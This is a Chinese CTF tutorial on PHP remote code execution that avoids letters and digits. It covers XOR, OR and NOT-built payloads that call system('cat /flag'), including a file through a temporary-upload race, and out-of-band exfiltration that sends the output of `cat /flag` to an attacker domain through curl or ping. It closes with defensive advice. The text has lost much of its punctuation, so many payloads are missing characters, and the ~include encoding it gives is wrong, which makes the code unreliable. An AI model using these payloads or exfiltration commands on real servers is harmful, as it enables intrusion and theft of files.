PHP无字母数字RCE:位运算与临时文件上传的绕过艺术 1. 项目概述无字母数字RCE的挑战与核心思路在CTF的Web安全挑战中命令执行RCE类题目是检验选手代码审计和绕过技巧的经典题型。其中“无字母数字RCE”更是将难度提升了一个档次。这类题目的核心限制是我们构造的Payload中不能直接出现任何字母a-z, A-Z和数字0-9。这几乎堵死了我们直接调用system、eval、passthru等函数或者直接写入cat /flag这类命令的所有常规路径。初看之下这像是一个“不可能完成的任务”但正是这种限制催生了一系列精妙绝伦的绕过技术。我最初接触这类题目时也是一头雾水感觉无从下手。常规的命令执行我们好歹能拼凑出字符串但连字母数字都不能用Payload还能由什么构成答案就藏在PHP这类题目通常基于PHP的语言特性里。我们需要利用一些特殊的运算符和技巧从“无”中生出“有”动态地构造出我们需要的函数名和命令字符串。本次要探讨的核心方法就是利用位运算符——或|、异或^、非~以及一个辅助技巧临时文件上传来共同完成这场“无中生有”的魔术。简单来说我们的目标是在一个只能接收可控参数但过滤了字母数字的PHP环境中最终执行系统命令例如读取服务器上的flag文件。整个攻击链可以拆解为几个关键阶段首先我们需要在没有字母数字的情况下生成一个能够执行代码的“起点”比如assert或system这样的函数名其次我们需要构造出要执行的命令字符串比如cat /flag最后我们需要一个可靠的方式将构造好的函数和参数传递进去执行。而临时文件上传则为我们提供了一个将复杂Payload“运送”到服务器上的绝佳载体。2. 核心原理位运算如何“创造”字符要理解绕过必须先理解原理。为什么或、异或、非这些位运算符能帮我们生成字母和数字这源于计算机底层的一个基本事实一切数据在计算机中都以二进制形式存储字符也不例外。在PHP中当我们对字符串进行位运算时实际上是对字符串中每个字符的ASCII码进行二进制位的操作。2.1 字符的二进制表示与位运算基础每个可打印字符都对应一个ASCII码值。例如小写字母a的ASCII码是97二进制是01100001数字1的ASCII码是49二进制是00110001。位运算符直接操作这些二进制位或|两位中只要有一个为1结果位就为1。异或^两位不同时结果为1相同时结果为0。非~将每一位取反0变11变0。我们的核心思路是用两个被允许的非字母数字字符例如标点符号进行位运算使其结果恰好等于我们想要的字母或数字的ASCII码。2.2 异或XOR构造法详解异或构造是最常用、最直观的方法。它满足一个非常重要的性质A ^ B C那么同样有A ^ C B和B ^ C A。这意味着如果我们想要得到字符C只需要找到两个字符A和B使得A ^ B C并且A和B本身不在被禁止的字母数字范围内。举个例子我们想得到字母sASCII115二进制01110011。我们需要找到两个非字母数字的字符它们的ASCII码异或后等于115。通过编写一个简单的脚本我们可以暴力枚举所有可打印的非字母数字字符如!、、{、}等的组合。最终可能会发现8ASCII5600111000和{ASCII12301111011进行异或。00111000 (56, 8) ^ 01111011 (123, {) ----------- 01110011 (115, s)看我们成功用数字8和左花括号{“异或”出了一个字母s这里8是数字在“无字母数字”限制中通常也是被禁止的。别急我们可以继续用同样的方法用两个特殊字符去构造出8。例如!33和)41异或得到833^418。这样我们就用纯特殊字符!、)、{通过两次异或运算间接得到了字母s。在PHP中我们可以用^运算符连接字符串来实现这一点! ^ )的结果就是字符串8。然后(!^)) ^ {就等价于8 ^ {结果就是s。通过精心组合我们可以一个字符一个字符地拼出完整的函数名system和命令cat /flag。注意PHP中字符串的位运算是对两个字符串中对应位置的字符逐个进行运算。如果字符串长度不同短字符串会被用NULLASCII 0填充到与长字符串相同长度。这要求我们在构造时需确保参与运算的字符串长度匹配否则会产生意外结果。2.3 或OR与非NOT构造法或|构造法原理与异或类似寻找A | B C。由于“或”运算的特性有1则1有时构造所需的字符对会更简单。例如34和_95相或得到a97。但或运算的一个潜在问题是它更容易产生“污染”因为只要原字符的某个位是1结果位就一定是1可能会意外生成其他不需要的字符。非~构造法这是更强大的一种方法。因为非运算是单目运算符~A B。这意味着如果我们能构造出字符B的按位取反结果A并且A恰好是允许的字符那么我们只需要一个~运算符就能得到一个目标字符。例如字母s11501110011按位取反后是14010001100这对应一个扩展ASCII字符在URL编码中为%8C。如果我们能通过某种方式将%8C传入那么~%8C在PHP中就能得到s。非运算的妙处在于它经常可以绕过对某些特殊字符的过滤。因为取反后的字符可能是一些非常生僻、不在过滤器黑名单内的字符。我们可以先写出我们想要的最终Payload然后对整个字符串进行取反得到一个“乱码”字符串。只要这个乱码字符串能通过过滤在代码中对其执行~操作就能还原出原始Payload。3. 利用临时文件上传绕过执行限制通过位运算我们理论上可以在内存中构造出任意字符串。但下一个难题是如何让PHP执行我们构造的字符串所代表的代码常见的执行点如eval($_GET[‘cmd’])但eval函数名本身也含有字母。我们需要一个更原始的“跳板”。3.1 PHP中的字符串执行技巧在PHP中除了eval还有一种将字符串作为函数名动态调用的方法可变函数。如果$a是一个字符串”system”那么$a(“whoami”)就等价于system(“whoami”)。我们的目标就变成了先构造出字符串”system”再构造出字符串”cat /flag”最后将它们组合成函数调用。但这里还有一个障碍即使我们构造出了$a“system”; $b“cat /flag”;我们如何将$a($b)这段代码传递给服务器执行呢如果题目代码是eval($_POST[‘code’])我们直接POST$a($b)过去但$a和$b的赋值语句又可能被过滤。这时我们需要利用PHP的其他特性来“携带”和“触发”我们的Payload。一个经典技巧是利用php://filter协议和include函数。但这里我们介绍另一种在“无字母数字RCE”中常与位运算搭配的技巧临时文件上传.htaccess或session.upload_progress。3.2 临时文件上传的原理与利用在PHP中当客户端上传一个文件时该文件会先被保存到服务器的临时目录如/tmp/phpXXXXXX然后脚本才能通过$_FILES数组访问它。之后无论上传成功与否这个临时文件都会被删除。这个机制本身是安全的但关键在于这个“临时文件”从创建到删除之间存在一个极短的时间窗口。我们的攻击思路是利用这个时间窗口让另一个并发的请求去包含include或执行这个临时文件。如果我们可以控制临时文件的部分内容就可以让它成为一个有效的PHP脚本。如何控制临时文件内容我们无法直接写入服务器上的/tmp/phpXXXXXX文件。但我们可以控制上传文件的内容。如果我们将一个Web Shell代码作为文件内容上传那么临时文件中就会包含这些代码。如何让PHP执行这个临时文件这需要服务器配置存在缺陷或题目环境特意留白。常见的方法有利用.htaccess如果能同时上传一个.htaccess文件配置AddType application/x-httpd-php .jpg那么即使我们的临时文件后缀是.jpg也会被当作PHP解析。但上传.htaccess本身也可能受限制。利用session.upload_progress这是更隐蔽的一种方法。PHP的session.upload_progress功能会在上传文件时将上传进度信息存入$_SESSION。关键在于这个会话文件的路径和名称通常是可知或可预测的如sess_sessionid。如果我们能发起一个并发的请求触发服务器包含我们的会话文件而会话文件中又因为session.upload_progress的设置而包含了我们上传的恶意代码那么就能实现RCE。但这需要对会话机制有较深理解。利用其他已知的临时文件名生成算法在某些特定环境下临时文件名可能是可预测的例如基于时间或进程ID。我们可以尝试暴力猜解这个文件名然后通过include去包含它。这在CTF中往往是考察点之一。在实际的CTF题目如ctfshow web入门系列相关题目中出题人可能会简化场景例如直接提供一个文件上传点并且后端脚本会无条件地包含include某个我们可控路径的文件或者临时文件的命名规则非常脆弱。我们将位运算构造的Payload写入一个文件然后利用上传功能将其送到临时目录再通过触发文件包含来执行它。4. 完整攻击链实战拆解让我们串联起所有技术点模拟一次完整的攻击流程。假设题目是一个PHP页面核心代码如下?php if(isset($_GET[code])){ $code $_GET[code]; if(!preg_match(/[a-z0-9]/is, $code)){ // 过滤字母和数字 eval($code); // 危险函数 }else{ die(hacker!); } } ?我们有一个可控的code参数但值中不能出现任何字母和数字。我们的目标是执行system(‘cat /flag’)。4.1 第一步构造核心Payload字符串我们不能直接传递system(‘cat /flag’)。我们需要用位运算构造它。 首先构造字符串”system”。通过编写脚本我们可以找到一组由纯特殊字符构成的异或组合s ( 8 ^ { ) y ( ^ ] ) s ( 8 ^ { ) // 和第一个s相同 t ( 9 ^ } ) e ( 6 ^ [ ) m ( ^ Z )但注意’8’,’9’,’6’是数字被禁止。所以我们需要进一步用特殊字符构造这些数字8 ( ! ^ ) ) 9 ( ^ ) ) 6 ( ^ ) )因此”system”的最终异或构造可以写为这里用点号.连接字符串$fun ((!^))^{).((^])^).((!^))^{).((^))^}).((^))^[).((^Z)^);看起来非常复杂。实际上我们通常会用PHP先计算好最终的字符串。更常用的方法是利用非~运算因为它构造起来更简洁。我们先写出想要的字符串然后取反echo urlencode(~system); // 输出%8C%86%8C%8B%9A%92 echo urlencode(~cat /flag); // 输出%9C%90%9B%FF%8B%97%8F%FF%9C%9D%9B%8E取反后得到的是一串百分号编码的字符。关键点来了在PHP中~”%8C%86%8C%8B%9A%92″这个表达式会先对字符串”%8C%86%8C%8B%9A%92″进行URL解码得到乱码的二进制数据然后对每个字节进行按位取反最终得到”system”而%8C、%86这些字符通常不在字母数字过滤器的黑名单中。因此我们可以构造这样的Payload$code (~%8C%86%8C%8B%9A%92)(~%9C%90%9B%FF%8B%97%8F%FF%9C%9D%9B%8E); // 这等价于system(cat /flag)我们需要把~%8C...这个整体作为字符串传递给eval。但~是运算符不能直接放在字符串里。在PHP中我们可以用$_数组和取反运算符动态构造。一个经典的技巧是$_~%8C...将取反后的字符串赋值给变量$_然后$_()进行调用。但$_本身包含了下划线_这通常不被允许因为_的ASCII是95属于可打印字符但很多过滤器会特意放过它因为它不是字母数字。具体要看题目过滤规则。4.2 第二步整合临时文件上传假设题目除了上面的code参数还有一个文件上传功能并且存在文件包含漏洞例如include($_GET[‘file’])。我们的计划如下编写Web Shell文件我们创建一个文本文件内容为完整的PHP代码例如?php system(‘cat /flag’);?。但这样直接写肯定有字母数字。所以我们要用我们构造好的无字母数字Payload作为文件内容。例如文件内容可以是? (~%8C%86%8C%8B%9A%92)(~%9C%90%9B%FF%8B%97%8F%FF%9C%9D%9B%8E); ?这里用了短标签?它等价于?php echo并且短标签风格可能在某些配置下允许可以省去php这几个字母。我们将其保存为一个文件比如shell.jpg后缀不重要关键是内容。上传文件通过题目的上传功能将shell.jpg上传。此时服务器端会在临时目录如/tmp/phpL0j3f生成一个包含我们恶意代码的临时文件。触发文件包含利用文件包含漏洞假设参数是?file...我们需要在临时文件被删除前让include函数包含它。这里最大的挑战是临时文件名是随机的。我们需要猜测或获取这个文件名。方法A暴力猜解PHP临时文件名通常是php后面跟6个随机字符大写字母和数字。虽然只有6位但暴力猜解在Web请求中几乎不可能。方法B利用PHP特性泄露某些PHP配置错误或题目设计可能会泄露临时文件路径但这不常见。方法C结合其他漏洞这才是CTF的考点。题目环境可能并非完全随机。例如临时文件名可能基于进程IDPID而PID可能在某些信息泄露中获取或者题目可能使用了session.upload_progress其会话文件路径是固定的如/tmp/sess_sessionid我们只要控制sessionid就能知道路径。在ctfshow的一些题目中可能会简化这个步骤。例如题目后端可能模拟了一个“上传后立即包含”的场景或者临时文件的命名规则非常弱如时间戳从而使得猜解成为可能。我们的核心是利用上传动作产生一个包含Payload的文件再通过另一个入口点去执行它。4.3 第三步最终Payload组装与执行假设我们通过某种方式例如题目给出了提示或者通过错误信息泄露知道了临时文件的路径是/tmp/phpXXXXXX。那么我们的攻击链就完整了。首先我们上传文件得到临时文件路径/tmp/phpxyz123。 然后我们向code参数传递如下Payload利用非运算构造一个包含语句// 假设我们构造的Payload是include(/tmp/phpxyz123); // 对 include(/tmp/phpxyz123); 进行取反并URL编码 // 使用脚本计算 echo urlencode(~include); // 输出%96%8C%85%8B%82%85 echo urlencode(~/tmp/phpxyz123); // 需要分段计算因为路径是字符串最终我们发送的GET请求可能类似于GET /vuln.php?code$_~%96%8C%85%8B%82%85;$_((~%9A%99%93%9E%98%D1%8F%97%8F));file/tmp/phpxyz123这里做了简化。实际上我们需要精心构造确保整个code参数的值不包含字母数字。可能还需要利用.连接符拼接字符串或者使用${_GET}等方式传递参数。实操心得在实际操作中直接手算这些取反和编码非常繁琐且容易出错。务必使用本地PHP脚本进行辅助计算。先在本机写好要执行的正常PHP代码然后用一个循环对其进行取反和URL编码生成最终的Payload。这样可以保证准确性。5. 常见问题与高级绕过技巧在实际解题和实战测试中仅仅掌握基础原理是不够的还会遇到各种“拦路虎”。下面记录了一些常见的问题和更高级的绕过技巧。5.1 过滤了更多字符怎么办题目可能不仅过滤字母数字还过滤了$、_、~、^、|、.等关键符号。过滤$和_这会影响变量定义。我们可以尝试使用反引号执行系统命令如果未禁用或者利用?标签闭合和PHP短标签?但需要开启short_open_tag。更高级的可以利用getallheaders()或get_defined_vars()等函数从HTTP头或其他超全局变量中提取字符串。过滤~、^、|这直接封杀了位运算。这时需要寻找其他非字母数字的构造方法例如利用自增运算符在PHP中‘a’会变成‘b’。如果我们能获得一个非字母数字的起始字符通过多次自增可以得到字母。例如$_[];[]是数组不是字母数字那么$_$_[0];不行0是数字。可以尝试$_;反引号然后对其进行操作但这非常困难。利用PHP类型转换例如true在字符串上下文中是”1″。false是空字符串。但true和false本身含有字母。利用未初始化变量$后接一个非字母数字的字符PHP会将其视为一个字符串常量这通常不行。 当位运算被禁时题目难度会急剧上升通常需要结合非常冷门的PHP特性。5.2 临时文件包含失败的可能原因竞争条件Race Condition这是最常见的原因。你上传文件后脚本执行include之前临时文件可能已经被删除了。解决方法是并发请求同时发起多个请求一个负责上传文件另一个或多个负责立即包含。使用Burp Suite的Turbo Intruder或Python多线程脚本可以大大提高成功率。临时文件不可读/不可执行服务器的临时目录如/tmp权限可能设置不当导致Web服务器用户如www-data无法读取其他进程创建的文件。这在配置严格的服务器上可能出现但在CTF环境中较少见。Open_basedir或disable_functions限制即使文件包含成功如果PHP配置了open_basedir限制可能无法访问/flag路径。或者system、shell_exec等函数被disable_functions禁用。这时需要寻找其他读取文件的方式如使用highlight_file、readfile、file_get_contents或者利用PHP封装器php://filter/resource/flag。5.3 无回显场景下的利用很多时候命令执行了但没有输出回显到页面上盲注。这时我们需要判断命令是否执行以及获取执行结果。判断执行使用sleep命令。system(‘sleep 5’)如果页面响应延迟了5秒说明命令执行成功。外带数据Out-of-Band, OOB这是更有效的方法。让目标服务器把数据发送到我们控制的服务器上。DNS外带system(‘curl http://your-domain.com/cat /flag’)。如果/flag内容是flag{test}那么你会收到一个对your-domain.com的HTTP请求路径中可能包含flag{test}的URL编码形式。但curl、wget命令可能被禁用。更通用的方法利用ping命令的DNS解析。system(‘ping -c 1cat /flag.your-domain.com’)。如果/flag内容是flag{test}那么会尝试解析flag{test}.your-domain.com我们可以在DNS服务器日志上看到这个查询记录。这通常不需要额外工具ping命令普遍可用。5.4 自动化工具与脚本手动构造这些Payload极其耗时。在实战和CTF中我们通常使用工具或编写脚本。异或/或脚本编写一个Python脚本枚举所有可打印的非字母数字字符对找出能异或或或出目标字符的组合。取反脚本直接用PHP的一行命令计算取反后的URL编码php -r “echo urlencode(~’system’);”综合Payload生成器网上有一些开源的“无字母数字WebShell生成工具”可以输入想要的命令自动生成利用异或、或、取反等多种技术的Payload。但理解原理比使用工具更重要。6. 防御视角与安全建议从攻击中学习防御。了解了这些绕过技术作为开发者应该如何防护输入验证与过滤单纯的黑名单过滤如preg_match(‘/[a-z0-9]/is’)是脆弱的正如我们所见可以被多种方式绕过。应采用白名单机制只允许预期的、安全的字符集。对于代码执行函数如eval、assert的参数应尽量避免直接使用用户输入。禁用危险函数在生产环境中应在php.ini中利用disable_functions指令禁用eval、assert、system、exec、passthru、shell_exec等函数。这是最有效的一道防线。谨慎使用动态代码执行绝对避免eval($user_input)这种模式。如果业务必须动态执行代码应使用沙箱Sandbox技术进行隔离并严格限制可用函数和资源。安全处理文件上传不要使用用户可控的文件名。为上传文件生成随机的、不可预测的新文件名如UUID。将上传文件存储在Web根目录之外避免通过URL直接访问。对文件内容进行严格检查如检查文件头、使用病毒扫描而不仅仅是后缀名。禁用不必要的PHP配置如register_globals、allow_url_include。配置安全确保open_basedir设置恰当限制PHP可访问的目录范围。设置session.upload_progress.cleanup On默认即为On确保上传进度数据及时清理。最小权限原则运行Web服务的用户如www-data应具有尽可能低的权限不能执行任意命令或写入关键目录。无字母数字RCE的绕过艺术本质上是一场关于语言特性和过滤器理解的深度博弈。它要求攻击者对PHP的内部机制有透彻的了解同时也提醒防御者安全是一个整体任何细微的疏忽都可能被组合利用形成致命的突破口。对于安全研究者而言研究这些绕过技巧并非为了破坏而是为了构建更坚固的防御体系。每一次成功的绕过都意味着我们需要在防御墙上填补一块新的砖石。